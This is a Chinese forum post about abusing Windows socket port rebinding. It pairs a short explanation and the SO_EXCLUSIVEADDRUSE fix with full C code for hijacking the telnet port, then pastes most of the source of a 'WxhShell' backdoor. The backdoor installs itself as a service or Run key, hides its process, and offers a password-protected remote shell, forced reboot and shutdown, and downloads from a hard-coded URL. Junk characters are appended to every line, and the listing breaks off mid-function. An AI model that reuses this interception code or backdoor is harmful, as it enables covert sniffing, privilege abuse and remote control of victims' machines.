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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |TM&:4D]^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /)fx(u#  
Rj6:.KEJ  
  saddr.sin_family = AF_INET; GPlAQk  
pie<jZt  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *qdf?' R  
hd{Vz{;W  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?|!167/O  
] AkHNgW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]4~- z3=y  
W _j`'WN/  
  这意味着什么?意味着可以进行如下的攻击: 2c:H0O 0o  
D lz||==  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JA0$Fz  
m| 8%%E}d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $Gt1T[:QUX  
D>"U0*h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }%LwaRT  
`~|8eKFq!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~um+r],@@  
;m6Mm`[i<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BkfWZ O{7  
[)UF@Sq4+Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xHEkmL`)4  
Ch-56   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;4. D%  
<K4`GT"n  
  #include 09?n5x!6  
  #include Yas!w'  
  #include <q Z"W6&&  
  #include    Q|eRek  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $tvGS6p>  
  int main() Y#'mALC2  
  { +<&\*VR  
  WORD wVersionRequested; N_S>%Z+  
  DWORD ret; LL3RC6;e  
  WSADATA wsaData; 8\c= Un  
  BOOL val; {MX_t/o=f  
  SOCKADDR_IN saddr; 86d *  
  SOCKADDR_IN scaddr; | rJ_  
  int err; pL`snVz  
  SOCKET s; ONQp-$  
  SOCKET sc; 0_JbE  
  int caddsize; 7s:`]V%  
  HANDLE mt; }G n2%  
  DWORD tid;   AU1P?lk  
  wVersionRequested = MAKEWORD( 2, 2 ); #6{"c r6l  
  err = WSAStartup( wVersionRequested, &wsaData ); _nu %`?Va  
  if ( err != 0 ) { N!6{c~^  
  printf("error!WSAStartup failed!\n"); pAg;Rib  
  return -1; G#V5E)Dx  
  } w`XwW#!}@$  
  saddr.sin_family = AF_INET; cyUNJw  
   ( 8+_~_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4eb<SNi  
E:BEQ:(~L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $$YLAgO4  
  saddr.sin_port = htons(23); ]e+IaZ[Wo  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q"c!%`\  
  { y@g{:/cmO  
  printf("error!socket failed!\n"); g;en_~g3j  
  return -1; uYjJDLYoHl  
  } kfb+OE:7  
  val = TRUE; !v\m%t|.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $eQ_!7Gom$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \phG$4(7+  
  { ll;#4~iA  
  printf("error!setsockopt failed!\n"); #|^7{TN   
  return -1; 5r/QPJ<h  
  } qg#WDx /  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Bv"Fx* {W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QI>yi&t  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 QC>I<j& `!  
CaNZScnZ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E&0A W{  
  { %Fb"&F^7  
  ret=GetLastError(); oQ!}@CaN|  
  printf("error!bind failed!\n"); uF5d ]{Qt  
  return -1; g-xbb&]  
  } ;@K,>$ur-  
  listen(s,2); j}8IT  
  while(1) /1++ 8=  
  { gUDd2T#  
  caddsize = sizeof(scaddr); EVmQ"PKL'  
  //接受连接请求 e 1{t qNJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bj` cYL%  
  if(sc!=INVALID_SOCKET) G}i\UXFE  
  { A`u04Lm7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v}dt**l  
  if(mt==NULL) o*/\ oVOq  
  { oMda)5 &  
  printf("Thread Creat Failed!\n"); {B|U8j[  
  break; g=; rM8W  
  } j-$aa;  
  } l1`Zp9I  
  CloseHandle(mt); 6,  ag\  
  } "%ag^v9  
  closesocket(s); L.(T"`-i  
  WSACleanup(); Y">tfLIL_  
  return 0; |w[}\#2  
  }   i2b\` 805  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?zUV3Qgzj  
  { E=gD{1,?  
  SOCKET ss = (SOCKET)lpParam; [$?S9)Xd  
  SOCKET sc; Sw#Ez-X  
  unsigned char buf[4096]; x@.iDP@(  
  SOCKADDR_IN saddr; s9'g'O5  
  long num; DMcvu*A  
  DWORD val; ;3\F b3d  
  DWORD ret; M4M 4*o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (d993~|h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   do*`-SDy  
  saddr.sin_family = AF_INET; R#tz"T@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F']Vg31c  
  saddr.sin_port = htons(23); 6 6x} |7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LYh5f#  
  { 8+a/x#b-  
  printf("error!socket failed!\n"); 4q@o4C<0  
  return -1; b7v] g]*  
  } wd*T"V3  
  val = 100; 5:|5NX[.b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MS^,h>KI  
  {  9 N=KU  
  ret = GetLastError(); [gzU / :  
  return -1; Tv3ZNh  
  } P?n!fA>!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3D\.S j%  
  { ^'QcP5Fv  
  ret = GetLastError(); 9b]*R.x:$&  
  return -1; ~QBf78@Gf  
  } k;zb q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0x# 6L  
  { F)e*w:D  
  printf("error!socket connect failed!\n"); "+nURdicO  
  closesocket(sc); hv*n";V   
  closesocket(ss); oZ6xHdPc4  
  return -1; F&lc8  
  } ScGmft3A  
  while(1) nIph[Vs-Z  
  { r_)-NOp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d;lp^K M  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MBcOIy[&A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j K[VEhs  
  num = recv(ss,buf,4096,0); a-!"m  
  if(num>0) y#AY+ >  
  send(sc,buf,num,0); U YUIpe  
  else if(num==0) w])~m1yW  
  break; >4M_jC.  
  num = recv(sc,buf,4096,0); ieBW 0eMi  
  if(num>0) [%l+ C~m  
  send(ss,buf,num,0); 58e{WC  
  else if(num==0) Zy*}C,Z  
  break; 3{MIBMA  
  } e@]cI/j  
  closesocket(ss); oE)c8rE  
  closesocket(sc); ~ezCE4^&  
  return 0 ; -<z'f){gb  
  } fbuop&FN+q  
r@%32h  
fY%Sw7ql<  
========================================================== NBMY1Xgj  
p6=#LwL'  
下边附上一个代码,,WXhSHELL 4vqu(w8 L  
R<UjhCvx.  
========================================================== )STt3.  
_%zU ^aE  
#include "stdafx.h" k})9(Sy~  
6\0GVM\  
#include <stdio.h> vy|}\%*r~  
#include <string.h> *y(2BrL>  
#include <windows.h> 6w1:3~a  
#include <winsock2.h> #i2q}/w5`C  
#include <winsvc.h> :L`z~/6  
#include <urlmon.h> ^* DKF  
:+Dn]:\  
#pragma comment (lib, "Ws2_32.lib") 4QI vxH  
#pragma comment (lib, "urlmon.lib") 3&' STPpW  
`SW`d<+L  
#define MAX_USER   100 // 最大客户端连接数 eHnC^W}|s  
#define BUF_SOCK   200 // sock buffer MeplM$9  
#define KEY_BUFF   255 // 输入 buffer {{EQM +  
RuRJjcnY  
#define REBOOT     0   // 重启 e:7aVOm  
#define SHUTDOWN   1   // 关机 N,[M8n,  
cQ+, F2  
#define DEF_PORT   5000 // 监听端口 :He:Bdk  
p$9N}}/c  
#define REG_LEN     16   // 注册表键长度 ~o # NOfYi  
#define SVC_LEN     80   // NT服务名长度 K4R jGSaF  
 &R^mpV5  
// 从dll定义API _R-#I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HKxrBQr78  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LoCxoAg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "R9kF-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N@d4)  
in+`zfUJ9  
// wxhshell配置信息 =~EQ3uX  
struct WSCFG { YYM  
  int ws_port;         // 监听端口 [e^i".  
  char ws_passstr[REG_LEN]; // 口令 ;N1FP*  
  int ws_autoins;       // 安装标记, 1=yes 0=no O/-OW: 03  
  char ws_regname[REG_LEN]; // 注册表键名 @K+u+} R  
  char ws_svcname[REG_LEN]; // 服务名 >XZq=q]E!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5N|77AAxK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]B7t9l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g)p[A 4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %##9.Xm6l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1^W Aps  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  E;|\?>  
5 + Jy  
}; ;zJ_apZ:{  
%vThbP#mR|  
// default Wxhshell configuration _9gn;F  
struct WSCFG wscfg={DEF_PORT, ftH 0aI  
    "xuhuanlingzhe", CNN?8/u!@  
    1, kU^@R<Fo  
    "Wxhshell", :iWV:0)P  
    "Wxhshell", hOC,Eo  
            "WxhShell Service", ?41| e+p  
    "Wrsky Windows CmdShell Service", >qgBu_  
    "Please Input Your Password: ", 2 rBF<z7  
  1, #F6ak,9S4  
  "http://www.wrsky.com/wxhshell.exe", cM"I3  
  "Wxhshell.exe" oz0-'_  
    }; :m~lgb<  
Fwqv 1+  
// 消息定义模块 _j2`#|oG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @v'<~9vG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %FRkvqV*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dW5z0VuB$/  
char *msg_ws_ext="\n\rExit."; i)p__Is  
char *msg_ws_end="\n\rQuit."; ;s!H  
char *msg_ws_boot="\n\rReboot..."; (J;?eeP  
char *msg_ws_poff="\n\rShutdown..."; 50Jr(OeU<  
char *msg_ws_down="\n\rSave to "; ujSzm=_P  
 _HL3XT  
char *msg_ws_err="\n\rErr!"; [&4y@  
char *msg_ws_ok="\n\rOK!"; tw(2V$J  
%B?5l^W@  
char ExeFile[MAX_PATH]; !3&}r  
int nUser = 0; }hf*Jw  
HANDLE handles[MAX_USER]; =0-qBodbl  
int OsIsNt; H9Z3.F(2  
E:tUbWVp  
SERVICE_STATUS       serviceStatus; ^49moC-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8]L.E  
R.QcXz?d  
// 函数声明 Eg:p_F*lr  
int Install(void); Y\=:j7'  
int Uninstall(void); lt]U?VZ   
int DownloadFile(char *sURL, SOCKET wsh); QRjt.Ry|  
int Boot(int flag); t2gjhn^p  
void HideProc(void); e8#3Y+Tc  
int GetOsVer(void); %)e+w+  
int Wxhshell(SOCKET wsl); *~"`&rM(  
void TalkWithClient(void *cs); !K2[S J  
int CmdShell(SOCKET sock); W | }Hl{}  
int StartFromService(void); 7wnzef?)  
int StartWxhshell(LPSTR lpCmdLine); +Oscy-;  
1W8W/Y=hT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O^:h_L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2=|IOkY  
=V , _  
// 数据结构和表定义 b(VU{cf2d  
SERVICE_TABLE_ENTRY DispatchTable[] = ~_&.A*Jh  
{ +!Ltn  
{wscfg.ws_svcname, NTServiceMain}, R}VL UL$  
{NULL, NULL} I6fpXPP).  
}; w\ :b(I  
&|4Uo5qS=Z  
// 自我安装 R;yAqr29  
int Install(void) E6gEP0b  
{ P:TpB6.=q  
  char svExeFile[MAX_PATH]; qw/{o:ce]  
  HKEY key; 1L|(:m+  
  strcpy(svExeFile,ExeFile); f#t^<`7  
xRUYJ=|oh  
// 如果是win9x系统,修改注册表设为自启动 @rMW_7[y  
if(!OsIsNt) { ]4yvTP3[Rm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O+$70   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MocH>^,  
  RegCloseKey(key); 5HN<*u%z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m [g}vwS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F~AS(sk  
  RegCloseKey(key); 7y\g~?5N  
  return 0; m0"\3@kB  
    } 6T s`5$e  
  } bM-Rj1#Lo  
} :I('xVNPz  
else { 12a #]E  
(`u!/  
// 如果是NT以上系统,安装为系统服务 U VKN#"_{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SS~Q;9o  
if (schSCManager!=0) $%JyM  
{ t["Df;"O  
  SC_HANDLE schService = CreateService .7FI%  
  ( S+G)&<a^  
  schSCManager, ,LZ:y1z'V-  
  wscfg.ws_svcname, a AM UJk  
  wscfg.ws_svcdisp, uH[0kh  
  SERVICE_ALL_ACCESS, OpLSjr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mW-W7-JhO7  
  SERVICE_AUTO_START, E'8Bw7Tz  
  SERVICE_ERROR_NORMAL, 'qJ-eQ7e  
  svExeFile, I={{VQ  
  NULL, F21[r!3  
  NULL, Z L</  
  NULL, ([*t.  
  NULL, O:)IRB3  
  NULL BT3O_X`u  
  ); B6\VxSX4{  
  if (schService!=0) (Y)h+}n5N  
  { ?m1$*j  
  CloseServiceHandle(schService); ;l()3;  
  CloseServiceHandle(schSCManager); LDeVNVM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \T9UbkR  
  strcat(svExeFile,wscfg.ws_svcname); \<B6>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !@ {[I:5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SZ{cno1`  
  RegCloseKey(key); ]gksyxn3  
  return 0; 6 W;k IoB  
    } C4tl4df9  
  } E{ s|#  
  CloseServiceHandle(schSCManager); l|A8AuO*?  
} zDyeAxh4  
} (N|xDl &;  
|:+pPh!-  
return 1; i(;-n_:, `  
} G3+a+=e  
*^6xt7  
// 自我卸载 >-lL -%N_  
int Uninstall(void) H$amt^|zQ4  
{ X&.$/xaT  
  HKEY key; ~q(C j"7  
{K4t8T]  
if(!OsIsNt) { [E (M(w':  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tcEf ~|3  
  RegDeleteValue(key,wscfg.ws_regname); lO> 7`2x=F  
  RegCloseKey(key); YBIe'(p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MIF[u:&  
  RegDeleteValue(key,wscfg.ws_regname); @^cgq3H'  
  RegCloseKey(key); [; ?{BB  
  return 0; 0DIM]PS  
  } kZ-~ ;fBe  
} ,7jiHF  
} "!6~*!]c  
else { Y0O<]2yVx  
xKST-:c+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P=[x!}.I  
if (schSCManager!=0) 14 'x-w^~k  
{ up3<=u{>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ysJhP .  
  if (schService!=0) C$G88hesn  
  { Q EGanpz  
  if(DeleteService(schService)!=0) { YCBML!L  
  CloseServiceHandle(schService); rqe_zyc&  
  CloseServiceHandle(schSCManager); 6XL9 qb~X  
  return 0; >ha Ixs`9  
  } efkie}  
  CloseServiceHandle(schService); n3g WM C  
  } ":#x\;  
  CloseServiceHandle(schSCManager); w^E]N  
} GdeR#%z  
} R 4QwWSBJ  
e=)* O  
return 1; ZX6=D>)u  
} ; :\,x  
lEb R)B,  
// 从指定url下载文件 ilcy/  
int DownloadFile(char *sURL, SOCKET wsh)  Ox*T:5  
{ 40d9/$uzh  
  HRESULT hr; I u~aTgHX%  
char seps[]= "/"; TgE.=`"7  
char *token; f9XO9N,hE:  
char *file; >wk=`&+V@  
char myURL[MAX_PATH]; b;`#Sea  
char myFILE[MAX_PATH]; VE"0 VB.  
&R FM d=  
strcpy(myURL,sURL); VfC[U)w*vm  
  token=strtok(myURL,seps); .y_bV=  
  while(token!=NULL) \3(| c#c  
  { p9}c6{Wp  
    file=token; |XA aKZA  
  token=strtok(NULL,seps); t2%@py*bU  
  } B0XBI0w^Y  
WlRZ|.  
GetCurrentDirectory(MAX_PATH,myFILE); &T/q0bwd  
strcat(myFILE, "\\"); 0/00 W6r0  
strcat(myFILE, file); (9 z.IH7}k  
  send(wsh,myFILE,strlen(myFILE),0); }Oh'YX#[  
send(wsh,"...",3,0); (:bCOEZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *ez~~ Y  
  if(hr==S_OK) '"fU2M<.  
return 0; nP{sCH 1  
else tTh;.88Z{  
return 1; 0CVsDVA  
\%?8jQ'tX  
} 7- 3N  
ocA'goI-  
// 系统电源模块 I1 R\Ts@  
int Boot(int flag) @1SKgbt>  
{ 031.u<_  
  HANDLE hToken; I%Po/+|+  
  TOKEN_PRIVILEGES tkp; >-|90CSdSJ  
< J<;?%]  
  if(OsIsNt) { 0m YZ7S5g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o`T<}z26  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yw Q!9 \  
    tkp.PrivilegeCount = 1; Q~Sv2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3|'#n[3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JXRf4QmG  
if(flag==REBOOT) { (zw=qbS&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V=zM5MH2  
  return 0; -2jBs-z  
} OxHw1k  
else { qfP"UAc{/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) seqF84Xd<  
  return 0; xX&>5 "  
} ,ORG"]_F  
  } ?ZuD _L-i  
  else { HHIUl,P  
if(flag==REBOOT) { <j1d~XU}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l;{N/cS  
  return 0; WVT5VJ7*  
} $6&GAJe  
else { z Jo#3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e"s{_V  
  return 0; w{zJE]7  
} C`th^dqBV  
} " ,aT<lw.  
qp~4KukL  
return 1; Sv ~1XL W  
} sRe#{EuJ  
Q!2iOvK  
// win9x进程隐藏模块 JPTI6"/  
void HideProc(void) U3|&Jee  
{ y%IG:kZ,  
@(,{_c]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F3Ak'h{Ay  
  if ( hKernel != NULL ) */5<L99v  
  { fdq^!MWTi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jY#(A23  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )*TW\v`B  
    FreeLibrary(hKernel); kTi PZZI  
  } ++Ys9Y)*,  
4<3?al&  
return; i^s`6:rNu  
} ghJ,s|lH  
8F`BJ6='  
// 获取操作系统版本 \{M rQ2jd  
int GetOsVer(void) w[,?- Xm  
{ gSv[4,hXd  
  OSVERSIONINFO winfo; EDgob^>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8W1K3[Jj<  
  GetVersionEx(&winfo); .y;\puNq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bDh:!M  
  return 1; ]lB3qEn<  
  else .X LV:6  
  return 0; ><#2O  
} 5}d/8tS  
&` 00/p  
// 客户端句柄模块 =_?pOq  
int Wxhshell(SOCKET wsl) FUzMc1zy|  
{ %g]$Vfpy  
  SOCKET wsh; l#5~ t|\  
  struct sockaddr_in client; B::4Qme  
  DWORD myID; LpiHoavv  
7$1fy0f[l  
  while(nUser<MAX_USER) S`W'G&bCj  
{ a$xeiy9  
  int nSize=sizeof(client); iKF$J3a\2f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I", &%0ycm  
  if(wsh==INVALID_SOCKET) return 1; iBtjd`V*  
 [`hE^chd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {#w A !>.  
if(handles[nUser]==0) 6m-:F.k1(  
  closesocket(wsh); rt3f7 s*  
else kY'<u  
  nUser++; 6HEqm>Yau  
  } Ha=_u+@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d Y:|Ef|v(  
} :RT,<  
  return 0; %EJ\|@N:  
} pT3X/ ra  
c4ZuW_&:  
// 关闭 socket T<TcV9vM  
void CloseIt(SOCKET wsh) _X,[]+ziu%  
{ 8z."X$  
closesocket(wsh); 7|+|\ 7l#  
nUser--; $TD~k;   
ExitThread(0); ~$&:NB1~q  
} $KwI}>E4  
w PG1P'w;  
// 客户端请求句柄 I9[1U   
void TalkWithClient(void *cs) kb"_6,[Ms  
{ |2 YubAIZ(  
"'z,[v 50&  
  SOCKET wsh=(SOCKET)cs; u{OS6Ky  
  char pwd[SVC_LEN]; XSm"I[.g  
  char cmd[KEY_BUFF]; wQD0 vsD  
char chr[1]; 9lZAa8Rxi  
int i,j; eq@am(#&kY  
<THZ2`tTK3  
  while (nUser < MAX_USER) { @pF fpHq?>  
M#\  <  
if(wscfg.ws_passstr) { E[|s>Xv~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %]a @A8o0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  k#axt Sc  
  //ZeroMemory(pwd,KEY_BUFF); AfbB~LlBq  
      i=0; }J ei$0x  
  while(i<SVC_LEN) { mQd4#LJ_  
W>5vRwx00  
  // 设置超时 ,hpH!J'5f/  
  fd_set FdRead; ~ON1Zw[+  
  struct timeval TimeOut; *#&k+{a^2  
  FD_ZERO(&FdRead); ^CZCZ,v  
  FD_SET(wsh,&FdRead); d5@X#3Hd  
  TimeOut.tv_sec=8; f7XQ~b  
  TimeOut.tv_usec=0; h4hN1<ky\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gk!E$NyE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =jg#fdM -  
..t,LU@|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y7<zm}=(/  
  pwd=chr[0]; Vq3gceo'0A  
  if(chr[0]==0xd || chr[0]==0xa) { Zg -]sp]  
  pwd=0; &8[ZN$Xe"  
  break; CS/Mpmsp  
  } ,O:EX0  
  i++; :a_BD  
    } H~A"C'P3#  
K0w<[CO  
  // 如果是非法用户,关闭 socket ;{<aA 5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q,[k7&HS  
} +h0PR?  
s kN9O"^A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 96(R'^kNX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R/^@cA  
e]lJqC  
while(1) { )PR3s1S^  
9n1ZVP.ag  
  ZeroMemory(cmd,KEY_BUFF); 0cHfxy3  
O^5UB~  
      // 自动支持客户端 telnet标准   ze`1fO|%  
  j=0; 6iG(C.b  
  while(j<KEY_BUFF) { ;Vg^!]LL#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1EVfowIl  
  cmd[j]=chr[0]; \)ip>{WG  
  if(chr[0]==0xa || chr[0]==0xd) { = 96G8hlT  
  cmd[j]=0; # ;K,,ku x  
  break; C:]s;0$3'9  
  } =M7TCE  
  j++; QE|`&~sme  
    } S_J,[#&  
|xn#\epy@  
  // 下载文件 G6ayMw]OF  
  if(strstr(cmd,"http://")) { 9B /s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {fZb@7?GF  
  if(DownloadFile(cmd,wsh)) geksjVwPH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^YGTh0$W  
  else P?kx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?hnx/z+uT  
  } !O|ql6^;  
  else { 3gAR4  
xq}-m!nX  
    switch(cmd[0]) { $9 K(F~/  
  Q]@c&*_|  
  // 帮助 <3A0={En  
  case '?': { 4'',6KJ@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yL6^\x  
    break; C,/O   
  } ?WQNIX4  
  // 安装 $B\ H  
  case 'i': { I,b9t\(6  
    if(Install()) ?v:ZU~i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gav"C{G  
    else H$!+A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z7fg 25  
    break; qj&b o  
    } owvS/"@  
  // 卸载 fAGctRGH  
  case 'r': { ?~J i-{#X  
    if(Uninstall()) K UKACUL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g+xw$A ou  
    else `H>b5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >H>gH2qp  
    break; q/NY72tj0  
    } #E DEYEW7  
  // 显示 wxhshell 所在路径 9Hd;35 3Q  
  case 'p': { =.*98  
    char svExeFile[MAX_PATH]; `1Zhq+s  
    strcpy(svExeFile,"\n\r"); OR:[J5M)  
      strcat(svExeFile,ExeFile); qz!Ph5 (  
        send(wsh,svExeFile,strlen(svExeFile),0); kbYeV_OwM  
    break; Bq@zaMv  
    } iib  
  // 重启 5u r)uz]w8  
  case 'b': { P ZxFZvE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]ab#q=  
    if(Boot(REBOOT)) XM/vDdR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tkw;pb  
    else { lT'9u,6   
    closesocket(wsh); |Y},V_@d  
    ExitThread(0); sYqgXE.  
    } y500Xs[c  
    break; i0:>Nk  
    } j(eFoZz,  
  // 关机 P`S@n/}  
  case 'd': { +f>cxA  
